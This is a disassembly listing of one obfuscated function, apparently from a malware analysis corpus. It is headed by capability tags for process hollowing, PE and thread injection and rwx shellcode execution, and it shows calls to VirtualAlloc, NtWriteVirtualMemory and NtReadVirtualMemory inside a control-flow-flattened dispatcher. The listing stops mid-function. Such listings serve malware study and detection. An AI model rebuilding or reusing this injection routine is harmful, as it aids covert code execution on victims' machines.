Function at 0x10008430
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [0x1006cc04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x6e309442
sub edx, 1
sub edx, 0x6e309442
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x146], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x145], al
mov dword [ebp - 0x14c], 0xd090a1c9
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
sub eax, 0x80ed8d69
je 0x1000b8b5
jmp 0x100084ab
mov eax, dword [ebp - 0x150]
sub eax, 0x81967fde
je 0x1000a248
jmp 0x100084c1
mov eax, dword [ebp - 0x150]
sub eax, 0x82c35245
je 0x1000ed0d
jmp 0x100084d7
mov eax, dword [ebp - 0x150]
sub eax, 0x844907fb
je 0x1000f881
jmp 0x100084ed
mov eax, dword [ebp - 0x150]
sub eax, 0x84dbe712
je 0x1000c78a
jmp 0x10008503
mov eax, dword [ebp - 0x150]
sub eax, 0x84f2fd0b
je 0x1000d25c
jmp 0x10008519
mov eax, dword [ebp - 0x150]
sub eax, 0x85895978
je 0x1000c5c8
jmp 0x1000852f
mov eax, dword [ebp - 0x150]
sub eax, 0x85bdbeec
je 0x1000d390
jmp 0x10008545
mov eax, dword [ebp - 0x150]
sub eax, 0x85eba16a
je 0x1000b960
jmp 0x1000855b
mov eax, dword [ebp - 0x150]
sub eax, 0x8610da4f
je 0x1000d079
jmp 0x10008571
mov eax, dword [ebp - 0x150]
sub eax, 0x86708412
je 0x1000e676
jmp 0x10008587
mov eax, dword [ebp - 0x150]
sub eax, 0x86895835
je 0x1000b755
jmp 0x1000859d
mov eax, dword [ebp - 0x150]
sub eax, 0x86ae6ae4
je 0x1000f560
jmp 0x100085b3
mov eax, dword [ebp - 0x150]
sub eax, 0x8794548d
je 0x1000db65
jmp 0x100085c9
mov eax, dword [ebp - 0x150]
sub eax, 0x8cd48071
je 0x1000b170
jmp 0x100085df
mov eax, dword [ebp - 0x150]
sub eax, 0x8d88eb53
je 0x1000d088
jmp 0x100085f5
mov eax, dword [ebp - 0x150]
sub eax, 0x8dc5eabd
je 0x1000b054
jmp 0x1000860b
mov eax, dword [ebp - 0x150]
sub eax, 0x90f4905f
je 0x1000a533
jmp 0x10008621
mov eax, dword [ebp - 0x150]
sub eax, 0x91136b89
je 0x1000aaa8
jmp 0x10008637
mov eax, dword [ebp - 0x150]
sub eax, 0x9165233c
je 0x1000bef6
jmp 0x1000864d
mov eax, dword [ebp - 0x150]
sub eax, 0x918f5835
je 0x1000f7d0
jmp 0x10008663
mov eax, dword [ebp - 0x150]
sub eax, 0x919988bc
je 0x1000daef
jmp 0x10008679
mov eax, dword [ebp - 0x150]
sub eax, 0x933141cf
je 0x1000afc1
jmp 0x1000868f
mov eax, dword [ebp - 0x150]
sub eax, 0x9539b830
je 0x1000ee67
jmp 0x100086a5
mov eax, dword [ebp - 0x150]
sub eax, 0x9550d952
je 0x1000f637
jmp 0x100086bb
mov eax, dword [ebp - 0x150]
sub eax, 0x95dd3c9b
je 0x1000aec1
jmp 0x100086d1
mov eax, dword [ebp - 0x150]
sub eax, 0x9611baed
je 0x1000d6c6
jmp 0x100086e7
mov eax, dword [ebp - 0x150]
sub eax, 0x96617b56
je 0x1000a7b6
jmp 0x100086fd
mov eax, dword [ebp - 0x150]
sub eax, 0x968d745d
je 0x1000f4ff
jmp 0x10008713
mov eax, dword [ebp - 0x150]
sub eax, 0x9792e040
je 0x1000c89b
jmp 0x10008729
mov eax, dword [ebp - 0x150]
sub eax, 0x97f0d379
je 0x1000c457
jmp 0x1000873f
mov eax, dword [ebp - 0x150]
sub eax, 0x981284bb
je 0x1000e44f
jmp 0x10008755
mov eax, dword [ebp - 0x150]
sub eax, 0x99122254
je 0x1000e2a0
jmp 0x1000876b
mov eax, dword [ebp - 0x150]
sub eax, 0x9ab609c1
je 0x1000cda4
jmp 0x10008781
mov eax, dword [ebp - 0x150]
sub eax, 0x9b5c83fa
je 0x1000f776
jmp 0x10008797
mov eax, dword [ebp - 0x150]
sub eax, 0x9d592a25
je 0x1000a9e3
jmp 0x100087ad
mov eax, dword [ebp - 0x150]
sub eax, 0x9e249b00
je 0x1000c146
jmp 0x100087c3
mov eax, dword [ebp - 0x150]
sub eax, 0x9e4f54e1
je 0x1000f61d
jmp 0x100087d9
mov eax, dword [ebp - 0x150]
sub eax, 0x9e5d0022
je 0x1000cd2e
jmp 0x100087ef
mov eax, dword [ebp - 0x150]
sub eax, 0x9f5fd6c4
je 0x1000dfb5
jmp 0x10008805
mov eax, dword [ebp - 0x150]
sub eax, 0xa234a52b
je 0x1000e164
jmp 0x1000881b
mov eax, dword [ebp - 0x150]
sub eax, 0xa3309fc2
je 0x1000be79
jmp 0x10008831
mov eax, dword [ebp - 0x150]
sub eax, 0xa3902421
je 0x1000c3ff
jmp 0x10008847
mov eax, dword [ebp - 0x150]
sub eax, 0xa4d94e04
je 0x1000f360
jmp 0x1000885d
mov eax, dword [ebp - 0x150]
sub eax, 0xa56a758c
je 0x1000f229
jmp 0x10008873
mov eax, dword [ebp - 0x150]
sub eax, 0xa6673368
je 0x1000d0fe
jmp 0x10008889
mov eax, dword [ebp - 0x150]
sub eax, 0xa7dcd36e
je 0x1000e90e
jmp 0x1000889f
mov eax, dword [ebp - 0x150]
sub eax, 0xa8a07771
je 0x1000be88
jmp 0x100088b5
mov eax, dword [ebp - 0x150]
sub eax, 0xa93e74d8
je 0x1000e7b9
jmp 0x100088cb
mov eax, dword [ebp - 0x150]
sub eax, 0xaa1b5a81
je 0x1000f5fc
jmp 0x100088e1
mov eax, dword [ebp - 0x150]
sub eax, 0xaa3e6663
je 0x1000e61e
jmp 0x100088f7
mov eax, dword [ebp - 0x150]
sub eax, 0xaa6b1045
je 0x1000bb76
jmp 0x1000890d
mov eax, dword [ebp - 0x150]
sub eax, 0xaa752205
je 0x1000c63e
jmp 0x10008923
mov eax, dword [ebp - 0x150]
sub eax, 0xaa9d436a
je 0x1000e5b0
jmp 0x10008939
mov eax, dword [ebp - 0x150]
sub eax, 0xaaf59c12
je 0x1000f813
jmp 0x1000894f
mov eax, dword [ebp - 0x150]
sub eax, 0xab7c9fb4
je 0x1000d174
jmp 0x10008965
mov eax, dword [ebp - 0x150]
sub eax, 0xac0f067c
je 0x1000f7c1
jmp 0x1000897b
mov eax, dword [ebp - 0x150]
sub eax, 0xac6f1e18
je 0x1000ebfc
jmp 0x10008991
mov eax, dword [ebp - 0x150]
sub eax, 0xad1e8674
je 0x1000f411
jmp 0x100089a7
mov eax, dword [ebp - 0x150]
sub eax, 0xad7de349
je 0x1000b1e6
jmp 0x100089bd
mov eax, dword [ebp - 0x150]
sub eax, 0xad909726
je 0x1000cf7b
jmp 0x100089d3
mov eax, dword [ebp - 0x150]
sub eax, 0xae8111cc
je 0x1000f54a
jmp 0x100089e9
mov eax, dword [ebp - 0x150]
sub eax, 0xaf1e3616
je 0x1000ea3b
jmp 0x100089ff
mov eax, dword [ebp - 0x150]
sub eax, 0xb1a1fc4e
je 0x1000e761
jmp 0x10008a15
mov eax, dword [ebp - 0x150]
sub eax, 0xb5ff7488
je 0x1000b847
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xa4096415
sub edx, 1
sub edx, 0xa4096415
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa00c42a
mov ecx, 0x5ed2c8fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe08ff613
mov ecx, 0xf489c939
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb58519e
mov ecx, 0x49192d0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x373ce0db
mov ecx, 0xd20e1918
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0xe996d4da
sub edx, 1
add edx, 0xe996d4da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xae01b6f
mov ecx, 0x5ecc03b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xbd001521
jmp 0x1000f922
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x984a3522
sub edx, 1
sub edx, 0x984a3522
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78ab06b8
mov ecx, 0x8dc5eabd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xe0a1b08c
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x4c3e36ff
sub edx, 1
sub edx, 0x4c3e36ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf796edfc
mov ecx, 0xad7de349
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf796edfc
mov ecx, 0x551c64b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x134]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x94], eax
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe65648fa
mov ecx, 0x4db6c965
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x8a], ax
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xb79e7b03
sub edx, 1
sub edx, 0xb79e7b03
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4eebd6f3
mov ecx, 0xf75f244b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x8dc895be
add eax, ecx
sub eax, 0x8dc895be
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0x7e7e25f5
add eax, ecx
add eax, 0x7e7e25f5
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x14c], 0x6ca6ff55
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4fbbd1c9
mov ecx, 0xc26ed4bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xa8a07771
jmp 0x1000f922
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x100]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10008230
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov eax, dword [ebp - 0x110]
mov esi, dword [eax]
mov eax, dword [ebp - 0x100]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xbb959a8e
mov ecx, 0x9165233c
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x54567f42
sub edx, 1
add edx, 0x54567f42
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa1b5a81
mov ecx, 0x2d62583b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xc1c042f0
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x7b1a3295
jmp 0x1000f922
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x223f83d9
sub edx, 1
add edx, 0x223f83d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x707f057a
mov ecx, 0xc82f123e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0xd93f7840
sub edx, 1
add edx, 0xd93f7840
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7fd21fd3
mov ecx, 0xaa752205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7fd21fd3
mov ecx, 0xc077da39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [ebp - 0x48]
shr ecx, 1
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xb4f714be
sub ecx, eax
sub ecx, 0xb4f714be
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xda987142
mov ecx, 0x475d1fc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x30c2e40e
sub edx, 1
add edx, 0x30c2e40e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70504db8
mov ecx, 0x32287257
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x2bd7da5a
sub edx, 1
sub edx, 0x2bd7da5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6146e34b
mov ecx, 0x9ab609c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x134]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x31], al
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xdfa87ba2
sub edx, 1
sub edx, 0xdfa87ba2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6146e34b
mov ecx, 0xc4520080
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dl, byte [ebp - 0x31]
mov eax, 0x20aff832
mov ecx, 0x6dd2971d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x8d88eb53
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x77707b14
sub edx, 1
sub edx, 0x77707b14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x28eca87c
mov ecx, 0xa6673368
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0x88323357
sub edx, 1
add edx, 0x88323357
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28eca87c
mov ecx, 0xab7c9fb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0x326e3a54
sub edx, 1
sub edx, 0x326e3a54
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1828eacb
mov ecx, 0x2e78fd5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x20aff832
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0xdf19f643
sub edx, 1
add edx, 0xdf19f643
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf461591
mov ecx, 0xe1796be0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0xf80bab12
sub edx, 1
add edx, 0xf80bab12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x217a7ee6
mov ecx, 0x2ecbc507
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xfab6ea2e
sub edx, 1
sub edx, 0xfab6ea2e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41d18e2c
mov ecx, 0x8794548d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xe59e4e72
sub edx, 1
sub edx, 0xe59e4e72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x41d18e2c
mov ecx, 0xc755cfe8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov dword [ebp - 0x14c], 0xa16c15d
jmp 0x1000f922
mov dword [ebp - 0x14c], 0x7313dbd6
jmp 0x1000f922
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0xdf839d80
sub edx, 1
add edx, 0xdf839d80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac0f067c
mov ecx, 0x1c1394d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24a07594
mov ecx, 0x57803f86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f922
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
